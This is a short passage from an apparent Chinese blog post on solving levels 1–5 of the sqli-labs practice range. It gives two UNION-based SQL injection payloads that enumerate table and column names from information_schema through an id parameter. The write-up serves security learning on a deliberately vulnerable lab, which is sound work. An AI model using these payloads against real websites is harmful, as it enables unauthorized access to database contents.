Practice_gun的博客

原创 sqli-libs靶场(看源码版)1-5关

id=19 'union select 1,column_name,3 from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1 -- aaa 判断列名。id=19 'union select 1,table_name,3 from information_schema.tables where table_schema='库名' limit 0,1 -- aaa 判断表名。